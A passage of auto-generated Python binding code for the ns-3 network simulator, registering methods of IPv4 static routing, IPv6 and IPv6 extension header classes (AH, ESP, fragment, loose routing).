## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::SetIpv4(ns3::Ptr<ns3::Ipv4> ipv4) [member function]
cls.add_method('SetIpv4',
'void',
[param('ns3::Ptr< ns3::Ipv4 >', 'ipv4')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3Ipv4StaticRouting_methods(root_module, cls):
## ipv4-static-routing.h (module 'internet'): ns3::Ipv4StaticRouting::Ipv4StaticRouting(ns3::Ipv4StaticRouting const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4StaticRouting const &', 'arg0')])
## ipv4-static-routing.h (module 'internet'): ns3::Ipv4StaticRouting::Ipv4StaticRouting() [constructor]
cls.add_constructor([])
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::AddHostRouteTo(ns3::Ipv4Address dest, ns3::Ipv4Address nextHop, uint32_t interface, uint32_t metric=0) [member function]
cls.add_method('AddHostRouteTo',
'void',
[param('ns3::Ipv4Address', 'dest'), param('ns3::Ipv4Address', 'nextHop'), param('uint32_t', 'interface'), param('uint32_t', 'metric', default_value='0')])
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::AddHostRouteTo(ns3::Ipv4Address dest, uint32_t interface, uint32_t metric=0) [member function]
cls.add_method('AddHostRouteTo',
'void',
[param('ns3::Ipv4Address', 'dest'), param('uint32_t', 'interface'), param('uint32_t', 'metric', default_value='0')])
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::AddMulticastRoute(ns3::Ipv4Address origin, ns3::Ipv4Address group, uint32_t inputInterface, std::vector<unsigned int, std::allocator<unsigned int> > outputInterfaces) [member function]
cls.add_method('AddMulticastRoute',
'void',
[param('ns3::Ipv4Address', 'origin'), param('ns3::Ipv4Address', 'group'), param('uint32_t', 'inputInterface'), param('std::vector< unsigned int >', 'outputInterfaces')])
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::AddNetworkRouteTo(ns3::Ipv4Address network, ns3::Ipv4Mask networkMask, ns3::Ipv4Address nextHop, uint32_t interface, uint32_t metric=0) [member function]
cls.add_method('AddNetworkRouteTo',
'void',
[param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'networkMask'), param('ns3::Ipv4Address', 'nextHop'), param('uint32_t', 'interface'), param('uint32_t', 'metric', default_value='0')])
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::AddNetworkRouteTo(ns3::Ipv4Address network, ns3::Ipv4Mask networkMask, uint32_t interface, uint32_t metric=0) [member function]
cls.add_method('AddNetworkRouteTo',
'void',
[param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'networkMask'), param('uint32_t', 'interface'), param('uint32_t', 'metric', default_value='0')])
## ipv4-static-routing.h (module 'internet'): ns3::Ipv4RoutingTableEntry ns3::Ipv4StaticRouting::GetDefaultRoute() [member function]
cls.add_method('GetDefaultRoute',
'ns3::Ipv4RoutingTableEntry',
[])
## ipv4-static-routing.h (module 'internet'): uint32_t ns3::Ipv4StaticRouting::GetMetric(uint32_t index) [member function]
cls.add_method('GetMetric',
'uint32_t',
[param('uint32_t', 'index')])
## ipv4-static-routing.h (module 'internet'): ns3::Ipv4MulticastRoutingTableEntry ns3::Ipv4StaticRouting::GetMulticastRoute(uint32_t i) const [member function]
cls.add_method('GetMulticastRoute',
'ns3::Ipv4MulticastRoutingTableEntry',
[param('uint32_t', 'i')],
is_const=True)
## ipv4-static-routing.h (module 'internet'): uint32_t ns3::Ipv4StaticRouting::GetNMulticastRoutes() const [member function]
cls.add_method('GetNMulticastRoutes',
'uint32_t',
[],
is_const=True)
## ipv4-static-routing.h (module 'internet'): uint32_t ns3::Ipv4StaticRouting::GetNRoutes() const [member function]
cls.add_method('GetNRoutes',
'uint32_t',
[],
is_const=True)
## ipv4-static-routing.h (module 'internet'): ns3::Ipv4RoutingTableEntry ns3::Ipv4StaticRouting::GetRoute(uint32_t i) const [member function]
cls.add_method('GetRoute',
'ns3::Ipv4RoutingTableEntry',
[param('uint32_t', 'i')],
is_const=True)
## ipv4-static-routing.h (module 'internet'): static ns3::TypeId ns3::Ipv4StaticRouting::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::NotifyAddAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('NotifyAddAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')],
is_virtual=True)
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::NotifyInterfaceDown(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceDown',
'void',
[param('uint32_t', 'interface')],
is_virtual=True)
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::NotifyInterfaceUp(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceUp',
'void',
[param('uint32_t', 'interface')],
is_virtual=True)
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::NotifyRemoveAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('NotifyRemoveAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')],
is_virtual=True)
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::PrintRoutingTable(ns3::Ptr<ns3::OutputStreamWrapper> stream) const [member function]
cls.add_method('PrintRoutingTable',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')],
is_const=True, is_virtual=True)
## ipv4-static-routing.h (module 'internet'): bool ns3::Ipv4StaticRouting::RemoveMulticastRoute(ns3::Ipv4Address origin, ns3::Ipv4Address group, uint32_t inputInterface) [member function]
cls.add_method('RemoveMulticastRoute',
'bool',
[param('ns3::Ipv4Address', 'origin'), param('ns3::Ipv4Address', 'group'), param('uint32_t', 'inputInterface')])
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::RemoveMulticastRoute(uint32_t index) [member function]
cls.add_method('RemoveMulticastRoute',
'void',
[param('uint32_t', 'index')])
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::RemoveRoute(uint32_t i) [member function]
cls.add_method('RemoveRoute',
'void',
[param('uint32_t', 'i')])
## ipv4-static-routing.h (module 'internet'): bool ns3::Ipv4StaticRouting::RouteInput(ns3::Ptr<const ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<const ns3::NetDevice> idev, ns3::Callback<void,ns3::Ptr<ns3::Ipv4Route>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ucb, ns3::Callback<void,ns3::Ptr<ns3::Ipv4MulticastRoute>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> mcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,unsigned int,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> lcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::Socket::SocketErrno,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ecb) [member function]
cls.add_method('RouteInput',
'bool',
[param('ns3::Ptr< ns3::Packet const >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice const >', 'idev'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ucb'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'mcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'lcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ecb')],
is_virtual=True)
## ipv4-static-routing.h (module 'internet'): ns3::Ptr<ns3::Ipv4Route> ns3::Ipv4StaticRouting::RouteOutput(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<ns3::NetDevice> oif, ns3::Socket::SocketErrno & sockerr) [member function]
cls.add_method('RouteOutput',
'ns3::Ptr< ns3::Ipv4Route >',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice >', 'oif'), param('ns3::Socket::SocketErrno &', 'sockerr')],
is_virtual=True)
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::SetDefaultMulticastRoute(uint32_t outputInterface) [member function]
cls.add_method('SetDefaultMulticastRoute',
'void',
[param('uint32_t', 'outputInterface')])
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::SetDefaultRoute(ns3::Ipv4Address nextHop, uint32_t interface, uint32_t metric=0) [member function]
cls.add_method('SetDefaultRoute',
'void',
[param('ns3::Ipv4Address', 'nextHop'), param('uint32_t', 'interface'), param('uint32_t', 'metric', default_value='0')])
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::SetIpv4(ns3::Ptr<ns3::Ipv4> ipv4) [member function]
cls.add_method('SetIpv4',
'void',
[param('ns3::Ptr< ns3::Ipv4 >', 'ipv4')],
is_virtual=True)
## ipv4-static-routing.h (module 'internet'): void ns3::Ipv4StaticRouting::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3Ipv6_methods(root_module, cls):
## ipv6.h (module 'internet'): ns3::Ipv6::Ipv6(ns3::Ipv6 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6 const &', 'arg0')])
## ipv6.h (module 'internet'): ns3::Ipv6::Ipv6() [constructor]
cls.add_constructor([])
## ipv6.h (module 'internet'): bool ns3::Ipv6::AddAddress(uint32_t interface, ns3::Ipv6InterfaceAddress address) [member function]
cls.add_method('AddAddress',
'bool',
[param('uint32_t', 'interface'), param('ns3::Ipv6InterfaceAddress', 'address')],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): uint32_t ns3::Ipv6::AddInterface(ns3::Ptr<ns3::NetDevice> device) [member function]
cls.add_method('AddInterface',
'uint32_t',
[param('ns3::Ptr< ns3::NetDevice >', 'device')],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): ns3::Ipv6InterfaceAddress ns3::Ipv6::GetAddress(uint32_t interface, uint32_t addressIndex) const [member function]
cls.add_method('GetAddress',
'ns3::Ipv6InterfaceAddress',
[param('uint32_t', 'interface'), param('uint32_t', 'addressIndex')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): int32_t ns3::Ipv6::GetInterfaceForAddress(ns3::Ipv6Address address) const [member function]
cls.add_method('GetInterfaceForAddress',
'int32_t',
[param('ns3::Ipv6Address', 'address')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): int32_t ns3::Ipv6::GetInterfaceForDevice(ns3::Ptr<const ns3::NetDevice> device) const [member function]
cls.add_method('GetInterfaceForDevice',
'int32_t',
[param('ns3::Ptr< ns3::NetDevice const >', 'device')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): int32_t ns3::Ipv6::GetInterfaceForPrefix(ns3::Ipv6Address address, ns3::Ipv6Prefix mask) const [member function]
cls.add_method('GetInterfaceForPrefix',
'int32_t',
[param('ns3::Ipv6Address', 'address'), param('ns3::Ipv6Prefix', 'mask')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): uint16_t ns3::Ipv6::GetMetric(uint32_t interface) const [member function]
cls.add_method('GetMetric',
'uint16_t',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): uint16_t ns3::Ipv6::GetMtu(uint32_t interface) const [member function]
cls.add_method('GetMtu',
'uint16_t',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): uint32_t ns3::Ipv6::GetNAddresses(uint32_t interface) const [member function]
cls.add_method('GetNAddresses',
'uint32_t',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): uint32_t ns3::Ipv6::GetNInterfaces() const [member function]
cls.add_method('GetNInterfaces',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv6::GetNetDevice(uint32_t interface) [member function]
cls.add_method('GetNetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): ns3::Ptr<ns3::Ipv6RoutingProtocol> ns3::Ipv6::GetRoutingProtocol() const [member function]
cls.add_method('GetRoutingProtocol',
'ns3::Ptr< ns3::Ipv6RoutingProtocol >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): static ns3::TypeId ns3::Ipv6::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6.h (module 'internet'): bool ns3::Ipv6::IsForwarding(uint32_t interface) const [member function]
cls.add_method('IsForwarding',
'bool',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): bool ns3::Ipv6::IsUp(uint32_t interface) const [member function]
cls.add_method('IsUp',
'bool',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6.h (module 'internet'): void ns3::Ipv6::RegisterExtensions() [member function]
cls.add_method('RegisterExtensions',
'void',
[],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): void ns3::Ipv6::RegisterOptions() [member function]
cls.add_method('RegisterOptions',
'void',
[],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): bool ns3::Ipv6::RemoveAddress(uint32_t interface, uint32_t addressIndex) [member function]
cls.add_method('RemoveAddress',
'bool',
[param('uint32_t', 'interface'), param('uint32_t', 'addressIndex')],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): void ns3::Ipv6::SetDown(uint32_t interface) [member function]
cls.add_method('SetDown',
'void',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): void ns3::Ipv6::SetForwarding(uint32_t interface, bool val) [member function]
cls.add_method('SetForwarding',
'void',
[param('uint32_t', 'interface'), param('bool', 'val')],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): void ns3::Ipv6::SetMetric(uint32_t interface, uint16_t metric) [member function]
cls.add_method('SetMetric',
'void',
[param('uint32_t', 'interface'), param('uint16_t', 'metric')],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): void ns3::Ipv6::SetRoutingProtocol(ns3::Ptr<ns3::Ipv6RoutingProtocol> routingProtocol) [member function]
cls.add_method('SetRoutingProtocol',
'void',
[param('ns3::Ptr< ns3::Ipv6RoutingProtocol >', 'routingProtocol')],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): void ns3::Ipv6::SetUp(uint32_t interface) [member function]
cls.add_method('SetUp',
'void',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_virtual=True)
## ipv6.h (module 'internet'): ns3::Ipv6::IF_ANY [variable]
cls.add_static_attribute('IF_ANY', 'uint32_t const', is_const=True)
## ipv6.h (module 'internet'): bool ns3::Ipv6::GetIpForward() const [member function]
cls.add_method('GetIpForward',
'bool',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## ipv6.h (module 'internet'): void ns3::Ipv6::SetIpForward(bool forward) [member function]
cls.add_method('SetIpForward',
'void',
[param('bool', 'forward')],
is_pure_virtual=True, visibility='private', is_virtual=True)
return
def register_Ns3Ipv6AddressChecker_methods(root_module, cls):
## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker::Ipv6AddressChecker() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker::Ipv6AddressChecker(ns3::Ipv6AddressChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6AddressChecker const &', 'arg0')])
return
def register_Ns3Ipv6AddressValue_methods(root_module, cls):
## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue(ns3::Ipv6AddressValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6AddressValue const &', 'arg0')])
## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue(ns3::Ipv6Address const & value) [constructor]
cls.add_constructor([param('ns3::Ipv6Address const &', 'value')])
## ipv6-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv6AddressValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## ipv6-address.h (module 'network'): ns3::Ipv6Address ns3::Ipv6AddressValue::Get() const [member function]
cls.add_method('Get',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-address.h (module 'network'): std::string ns3::Ipv6AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6AddressValue::Set(ns3::Ipv6Address const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Ipv6Address const &', 'value')])
return
def register_Ns3Ipv6ExtensionAHHeader_methods(root_module, cls):
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionAHHeader::Ipv6ExtensionAHHeader(ns3::Ipv6ExtensionAHHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6ExtensionAHHeader const &', 'arg0')])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionAHHeader::Ipv6ExtensionAHHeader() [constructor]
cls.add_constructor([])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionAHHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-extension-header.h (module 'internet'): ns3::TypeId ns3::Ipv6ExtensionAHHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionAHHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6ExtensionAHHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionAHHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionAHHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
return
def register_Ns3Ipv6ExtensionDestinationHeader_methods(root_module, cls):
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionDestinationHeader::Ipv6ExtensionDestinationHeader(ns3::Ipv6ExtensionDestinationHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6ExtensionDestinationHeader const &', 'arg0')])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionDestinationHeader::Ipv6ExtensionDestinationHeader() [constructor]
cls.add_constructor([])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionDestinationHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-extension-header.h (module 'internet'): ns3::TypeId ns3::Ipv6ExtensionDestinationHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionDestinationHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6ExtensionDestinationHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionDestinationHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionDestinationHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
return
def register_Ns3Ipv6ExtensionESPHeader_methods(root_module, cls):
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionESPHeader::Ipv6ExtensionESPHeader(ns3::Ipv6ExtensionESPHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6ExtensionESPHeader const &', 'arg0')])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionESPHeader::Ipv6ExtensionESPHeader() [constructor]
cls.add_constructor([])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionESPHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-extension-header.h (module 'internet'): ns3::TypeId ns3::Ipv6ExtensionESPHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionESPHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6ExtensionESPHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionESPHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionESPHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
return
def register_Ns3Ipv6ExtensionFragmentHeader_methods(root_module, cls):
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionFragmentHeader::Ipv6ExtensionFragmentHeader(ns3::Ipv6ExtensionFragmentHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6ExtensionFragmentHeader const &', 'arg0')])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionFragmentHeader::Ipv6ExtensionFragmentHeader() [constructor]
cls.add_constructor([])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionFragmentHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionFragmentHeader::GetIdentification() const [member function]
cls.add_method('GetIdentification',
'uint32_t',
[],
is_const=True)
## ipv6-extension-header.h (module 'internet'): ns3::TypeId ns3::Ipv6ExtensionFragmentHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): bool ns3::Ipv6ExtensionFragmentHeader::GetMoreFragment() const [member function]
cls.add_method('GetMoreFragment',
'bool',
[],
is_const=True)
## ipv6-extension-header.h (module 'internet'): uint16_t ns3::Ipv6ExtensionFragmentHeader::GetOffset() const [member function]
cls.add_method('GetOffset',
'uint16_t',
[],
is_const=True)
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionFragmentHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6ExtensionFragmentHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionFragmentHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionFragmentHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionFragmentHeader::SetIdentification(uint32_t identification) [member function]
cls.add_method('SetIdentification',
'void',
[param('uint32_t', 'identification')])
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionFragmentHeader::SetMoreFragment(bool moreFragment) [member function]
cls.add_method('SetMoreFragment',
'void',
[param('bool', 'moreFragment')])
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionFragmentHeader::SetOffset(uint16_t offset) [member function]
cls.add_method('SetOffset',
'void',
[param('uint16_t', 'offset')])
return
def register_Ns3Ipv6ExtensionLooseRoutingHeader_methods(root_module, cls):
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionLooseRoutingHeader::Ipv6ExtensionLooseRoutingHeader(ns3::Ipv6ExtensionLooseRoutingHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6ExtensionLooseRoutingHeader const &', 'arg0')])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionLooseRoutingHeader::Ipv6ExtensionLooseRoutingHeader() [constructor]
cls.add_constructor([])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionLooseRoutingHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-extension-header.h (module 'internet'): ns3::TypeId ns3::Ipv6ExtensionLooseRoutingHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6ExtensionLooseRoutingHeader::GetRouterAddress(uint8_t index) const [member function]
cls.add_method('GetRouterAddress',
'ns3::Ipv6Address',
[param('uint8_t', 'index')],
is_const=True)
## ipv6-extension-header.h (module 'internet'): std::vector<ns3::Ipv6Address, std::allocator<ns3::Ipv6Address> > ns3::Ipv6ExtensionLooseRoutingHeader::GetRoutersAddress() const [member function]
cls.add_method('GetRoutersAddress',
'std::vector< ns3::Ipv6Address >',
[],
is_const=True)
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionLooseRoutingHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6ExtensionLooseRoutingHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionLooseRoutingHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionLooseRoutingHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionLooseRoutingHeader::SetNumberAddress(uint8_t n) [member function]
cls.add_method('SetNumberAddress',
'void',
[param('uint8_t', 'n')])
